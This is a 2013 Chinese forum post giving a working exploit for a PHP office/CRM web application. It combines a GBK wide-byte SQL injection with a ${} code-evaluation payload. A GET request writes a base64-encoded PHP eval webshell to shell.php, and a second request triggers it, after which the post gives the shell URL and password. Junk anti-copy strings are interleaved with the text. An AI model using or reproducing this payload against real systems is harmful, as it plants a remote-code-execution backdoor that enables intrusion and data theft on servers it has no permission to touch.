此程序通篇的gbk编码是他的硬伤, 基本上80%的SQL语句都能控制, 但是由于在进入数据库的时候检测了select和union, 而且此程序加密方式也很蛋疼, 所以注入方面就不考虑了.
- e, m- Q( V' O4 f. I2 v7 A; Y& G& R
' I& Z- x) ?, U9 P0 [ . v1 ^; ^ L6 n" U. e& m
EXP：% E3 S; b8 b( h6 R1 x/ V5 g4 F, D7 J# N
! s1 t2 f5 ~7 \6 L7 r
第一步: [GET]http://site/general/crm/studio/modules/EntityRelease/release.php?entity_name=1%d5'%20or%20sys_function.FUNC_ID=1%23%20${%20fputs(fopen(base64_decode(c2hlbGwucGhw),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}& @" _: U$ @, K; |% \
4 J v3 c4 ^( u1 J- v
第二步: [GET]http://site/general/email/index.php
& W* D) s/ N# G D
. l1 ?# Z7 J- g( j+ {SHELL: http://site/general/email/shell.php 密码C
4 X* w6 y$ e9 B( S2 w9 ?7 p8 J& i
$ L$ o" G4 T! z! F( ?4 w
& o& ]" `3 P4 t. V此程序写的非常乱, 不知道是因为解密后的原因还是程序员本身就这样写的, 还有几处不需要登录的通杀getshell, 这里就不发了, 危害大了不好3 \1 l( d s: a1 _0 Q
5 R6 m# V, q, ?& |" Z G
有心的同学可以自己读读, 很容易就发现的 o(∩_∩)o ~~
# P0 D& ?8 U) t% {& i7 f1 X2 [" E1 d: d h* B. s' u
1 Z% e4 a" X( H. t0 L
|
发表于 2013-2-4 16:19:29
收藏
支持
反对